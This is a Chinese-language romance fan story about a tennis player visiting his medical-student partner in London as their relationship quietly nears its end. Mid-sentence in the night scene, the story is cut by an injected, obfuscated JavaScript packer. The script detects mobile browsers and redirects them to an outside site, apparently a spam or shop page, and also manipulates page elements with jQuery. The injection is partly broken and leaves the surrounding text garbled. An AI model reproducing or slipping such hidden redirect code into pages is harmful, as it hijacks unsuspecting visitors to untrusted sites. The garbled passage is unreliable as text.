仁王站在英国那栋熟悉的维多利亚式公寓楼下，抬头望着楼上窗户透出的暖黄色灯光。他刚从疗养院做完检查回来，消毒水的气味还残留在他的衣领上，混合着秋日伦敦微凉的空气。他没有按门铃，只是发了条简讯：“我到了。”
白天他还在做检查，经纪人帮他预约了苏黎世的运动康复医院，他一大早坐飞机去了瑞士，结束治疗以后得知需要等待报告，干脆就买了最早的飞机来了英国。
虽然提前给柳生发了信息，但实际上，当仁王想要来的时候，他就是会直接过来，而不太会考虑柳生是否方便——这其实是柳生希望看到的，所以他纵容且默许着。去年仁王停赛期有说过“如果你觉得麻烦”这样的话，在话的下半句还没出口时氛围就改变了。那是仁王时隔许久见到的柳生生气的样子。也是那时候，仁王才明白，他和柳生的关系确实进入了转折点——因为有些事，更早的他们是不会在意的。
门几乎是立刻就开了。柳生站在门口，白衬衫的袖口挽到手肘，金丝眼镜后的目光平静如常。
“检查做完了？”他问。
“嗯，等报告。”仁王轻巧地滑进门内，熟门熟路地把外套挂在玄关的衣帽架上。
公寓里弥漫着红茶的香气，茶几上摆着两杯冒着热气的伯爵茶，旁边是仁王最爱吃的柠檬挞，从街角那家他们常去的面包店买来的。这些细节让仁王胸口泛起一阵温暖的酸涩——柳生总是这样，用最不动声色的方式表达最细腻的关怀。
“煮了你喜欢的咖喱。”柳生走向厨房。
说是“喜欢”，用“能接受”更确切一些。仁王的挑食程度如果放到网上是会被人大肆批判的。也正因如此，仁王稍微喜欢，或者能接受的食物，柳生都记得格外清楚。
仁王跟着走进厨房，靠在门框上看着柳生操作微波炉。
飞机落地已经是夜晚，此时也过了晚饭时间，仁王的运动员要求让他不会在这个时间点摄入太多食物，但柳生依然为仁王留了咖喱——他知道仁王不会吃多少，但还是尽量让营养搭配得符合比例，并且咖喱还选择了专门的无油版本。
咖喱的香味混合着柳生的背影。这个场景太过熟悉，熟悉到让人恍惚——他们之间隔着那么多未说出口的话，却又仿佛昨天才见过面。
“论文进展如何？”仁王问。
柳生按下开始键，没有回头：“预约了六月份的答辩，如果顺利的话，答辩通过，一切程序走完，下半年，圣诞节前就能毕业了。”
“六月啊……”仁王无意识地绕着发尾。
“是法网，我知道。”柳生头也不回地说，声音里没有责备，只有平静的陈述，“你专心比赛。”
空气凝固了一瞬，又很快流动起来。仁王无意识鼓了鼓腮帮子：“不要，我想来。我今年又不打算参加法网。四月份预计还有两场双打公开赛，要打单打也是下半年了，起码等到东京公开赛之后吧。”
“说谎。”柳生说，“仁王君，是想打法网的吧。而且，按照你之前的排名，如果申请了排名保护，是可以拿到法网资格赛名额的。如果从今年下半年开始单打，折算今年整年的积分，明年的排名很可能掉出法网资格赛标准，毕竟少了半年的比赛。”
柳生说得没错，如果今年的法网不参加，或许他明年的法网也无法参加了。
而且答辩和毕业不一样，正式的毕业典礼，按照柳生的说法，要到下半年。他完全可以参加柳生的毕业典礼……但答辩也是很重要的部分，仁王知道。
柳生依然没回头，只是继续用温和的语气道：“没关系的，仁王君。答辩的时候要面临专家教授们的‘挑刺’，或许我会很狼狈。从我的角度，反而不愿意被仁王君你看到自己狼狈的样子呢。”
你也在说谎啊。仁王想。
明明，和我不一样的，你是很愿意在恋人面前展示自己真实的一切的人。
不过，仁王也知道，这时候自己反驳，氛围又会改变了。他和柳生都在粉饰太平，他不想做那个打破平衡的人。
于是他索性换了话题：“毕业后有什么打算？回国吗？”
“东京综合病院给了offer。”柳生关上火，咖喱的香气弥漫开来，“神经外科。不过，我父亲坚持让我回家里的医院任职。我暂时还没有决定。”
但没决定的只是去哪个医院，而不是回国这个选项。从说出来的选择来看，柳生确实决定回国了。
于是仁王在这瞬间看到了他和柳生感情的结尾。
“挺好的。”仁王轻声说，手指无意识地摩挲着茶杯边缘。杯子上有一道细小的裂痕，是他上次来时失手摔的，柳生却一直没换。
咖喱很快热好了，他们转移到餐桌上。仁王无意识搅动咖喱，把里面不喜欢但是总需要吃的蔬菜挑出来慢慢吃下去。
他们聊着无关紧要的话题——柳生实验室的趣事，仁王新换的体能教练，共同朋友们的近况。
柳生已经过了论文最忙碌的阶段。去年论文几次大改时正好赶上仁王伤病手术休养，那才是他最忙的时候。今年柳生积累的成果已经足够，大论文也写完基本定稿，最近都在临床实习，以及跟着大老板在实验室做一些工作。这是他在英国的最后一年，他迫切想要将想学习的内容全都学完，因此反而重新燃起了求学最初的热情。
仁王的职业经历也还不错。转双打对他来说没什么太大心理负担，训练虽然辛苦，但他也做了十年职业选手，对自己的身体和训练情况都很了解。新的搭档幸村，虽然和柳生吐槽时聊到幸村很严格，但其实他们都知道，拥有幸村这样的队友是很幸运的。
两个人近况都还不错，因此聊天时氛围也算轻松。
洗碗时仁王站在柳生身旁，两人的手臂偶尔相碰，又迅速分开。
之后仁王去洗澡。
“我准备换洗发水了。”洗澡后仁王擦着头发走出来，“你总说像漱口水的那个薄荷味停产了。”
柳生从医学期刊中抬起头，镜片后的目光微微闪动：“我记得你说喜欢那个味道。”
“是啊，但你说闻着不舒服，会让你联想到消毒水。”仁王把毛巾搭在肩上，“现在也没得选了。我自己公寓里的用完了，可能就只剩下你这里剩的小半瓶了，之后……我还没选定之后要用什么口味和牌子，最近在尝试中。”
这个细节让柳生放下期刊，摘下眼镜揉了揉鼻梁。他们之间总是这样，用最微不足道的小事传递最复杂的情感。仁王记得柳生所有的喜恶，柳生则记得仁王每个随口一提的喜好。这种了解深入骨髓，却无法阻止他们在各自的道路上渐行渐远，因为他们所选的未来没有相连之处，于是只要往前走，仿佛就注定了要分别。
停产的洗发水仿佛也成了预示。
不过，柳生知道，仁王没有在暗示，这真的只是巧合。
这反而更有种命运的意味了。
夜深时他们在床上亲吻。仁王逐渐用力，搂着柳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228771|197595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生时甚至有种纠缠的意味。于是柳生的眼神也变得深邃。
不过他们没有做到最后。仁王没有在休赛期，过几天他还要去医院检查，根据报告调整之后的训练计划，四月份也还有高强度比赛。
其实这没什么，甚至运动员赛后反而会因为肾上腺素上升而有额外的需求，只是仁王去年才动过手术，柳生便格外在意他的身体情况。
但仁王有时候觉得柳生只是在找借口，是他自己因为学业压力和实习压力“有心无力”。
不过这两年仁王渴望的变成了很纯粹的拥抱，因此他们两人反而在这方面达成了共识——虽然仁王觉得这不算好事。
“比吕。”黑暗中仁王突然开口。
“嗯？”
“……没什么。”仁王最终说，“晚安。”
“晚安。”柳生轻声回应，没有追问。
简单的对话里包含了太多未尽之言。他们都知道这段关系已经走到了某个临界点，却又都不忍心打破现在的平衡。分手太决绝，继续又太勉强，于是只能在这心照不宣的默契中，维持着表面上的平静。
第二天早晨，仁王醒来时发现柳生已经起床了。厨房传来咖啡机的声响，阳光透过那道永远留着的窗帘缝隙照进来，在地板上投下一道金色的线。这个场景太过平常，平常到让人眼眶发热。仁王在这样的气氛中放松下来。
他赤脚走到厨房，看着柳生专注煮咖啡的背影。阳光透过窗户洒在他的肩头，勾勒出一道柔和的轮廓。这一刻，仁王突然有种冲动，想要走上前去抱住他，想要说些什么，想要改变什么——但最终他只是靠在门框上，轻声说：“早安。”
柳生转过身，递给他一杯咖啡：“早安。睡得还好吗？”
“嗯。”仁王接过咖啡，感受着杯壁传来的温度，“你呢？”
“还行。”柳生推了推眼镜，“今天有什么计划？”
仁王抿了一口咖啡：“就在家里待着吧，没有什么想做的。”
于是他们就这样，在公寓里度过了平静的一天。柳生请了假（虽然仁王说可以留他一个人在公寓里但柳生还是请了假），在房间里看医学书籍，仁王窝在沙发上看比赛录像。偶尔他们会交换几句无关紧要的对话，更多时候是舒适的沉默。
午餐是简单的三明治，晚餐是冰箱里的剩菜。他们像往常一样分工合作，柳生负责切菜，仁王负责调味。厨房里弥漫着食物的香气，窗外伦敦的暮色渐渐降临。这一刻，仁王突然有种错觉，仿佛时间静止了，仿佛他们可以永远这样下去。
但错觉终究是错觉。夜深人静时，仁王躺在床上，听着身旁柳生均匀的呼吸声，心中涌起一阵难以名状的情绪。他想要改变什么，却又不知道从何改变；他想要留住什么，却又明白有些东西注定会流逝。这种矛盾的情绪让他辗转反侧，却又不敢动作太大，生怕吵醒柳生。
他点开手机，看到经纪人给他发的商业活动邮件。犹豫一会儿后，他没有马上回复。
第三天早晨，仁王收到了疗养院的邮件。报告显示他的恢复情况良好，可以继续训练和比赛。他把这个消息告诉了柳生，语气轻松得像在谈论天气。
“那就好。”柳生点点头，“什么时候回去？”
“下午的飞机。”仁王说，“有个活动，不然还可以再待两天……本来也是假期。你呢？”
“有个实验数据要处理，之后要去实验室。”柳生推了推眼镜，“我就不送你了。”